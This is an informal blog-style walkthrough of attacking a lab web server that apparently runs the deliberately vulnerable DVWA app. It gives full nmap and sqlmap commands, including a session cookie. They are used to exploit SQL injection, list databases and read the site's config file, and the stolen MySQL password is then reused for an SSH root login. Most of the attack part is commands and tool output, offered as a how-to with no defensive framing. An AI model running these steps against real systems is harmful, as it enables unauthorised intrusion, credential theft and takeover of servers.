hello guys, now i want to share hacking web in another attack vector.
i have a victim in address 192.168.56.101. i want to look the service has run, so i use nmap,
root@archaveliano:/home/localhost# nmap -sV 192.168.56.101
Starting Nmap 5.21 ( http://nmap.org ) at 2012-04-24 22:58 WIT
Nmap scan report for 192.168.56.101
Host is up (0.0016s latency).
Not shown: 997 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.3p1 Debian 3ubuntu6 (protocol 2.0)
80/tcp open http Apache httpd 2.2.14 ((Ubuntu))
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 08:00:27:95:72:2B (Cadmus Computer Systems)
Service Info: OS: Linux
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.70 seconds
root@archaveliano:/home/localhost#
In there i find a from to input user ID, and try to enter mark " ' " in there. And i find error syntax like this "You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1".
it's time to work, i opened my sqlmap, and i type this "./sqlmap.py -u "http://192.168.56.101/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie "security=medium; PHPSESSID=f7dn85m8g8ad502k9bl1mmonq3" -p id --risk 3 --level 3 --thread 8 --dbms MySQL --dbs" the information is -u for the URL --cookie for cookie, because this web need to login inside, -p to parameter site vuln, --risk for risk to test the web (max=3) -- level of test the web (max=5), --thread for Max number of concurrent HTTP(s) requests (max=10). --dbms for Force back-end DBMS to this value, and --dbs for Enumerate DBMS databases.
it's not a long time to wait, i can retrive the databases like this :
22:22:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL 5.0
[22:22:06] [INFO] fetching database names
[22:22:06] [INFO] the SQL query used returns 4 entries
[22:22:06] [INFO] starting 4 threads
[22:22:06] [INFO] retrieved: information_schema
[22:22:06] [INFO] retrieved: mysql
[22:22:06] [INFO] retrieved: fbip
[22:22:06] [INFO] retrieved: dvwa
available databases [4]:
[*] dvwa
[*] fbip
[*] information_schema
[*] mysql
now i have 4 databases. now i will to take over mysql database. and i enter this on sqlmap "./sqlmap.py -u "http://192.168.56.101/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie "security=medium; PHPSESSID=f7dn85m8g8ad502k9bl1mmonq3" -p id --risk 3 --level 3 --thread 8 -D mysql --tables --dbs"
but i have a problem, the problem like this
[22:15:20] [WARNING] no column(s) found
[22:25:20] [WARNING] unable to enumerate the columns for table 'user' in database 'mysql'
i try to find another way, and i remember that sqlmap not only can take over the database, but it can read some file on site, now i will try it. but before i try, i should know, where the file that i need, so i must need dirbuster to find the file.
file that i need to be on /config/config.inc.php, so on sqlmap, i enter this :
"./sqlmap.py -u "http://192.168.56.101/vulnerabilities/sqli/?id=&Submit=Submit#" --cookie "security=medium; PHPSESSID=f7dn85m8g8ad502k9bl1mmonq3" --file-read "/var/www/config/config.inc.php" -v 1"and i take over web config:
it will save on web name/files :
now i know user and password mysql this web, i try to enter the user and password mysql but i find a problem again :
root@archaveliano:/home/localhost# mysql -h 192.168.56.101 -u root -p
Enter password:
ERROR 1130 (HY000): Host '192.168.56.1' is not allowed to connect to this MySQL server
i try to enter ssh, because sometimes people get used to make the same password.
root@archaveliano:/home/localhost# ssh -l root 192.168.56.101
and this is the result :
it's very simple, right?!
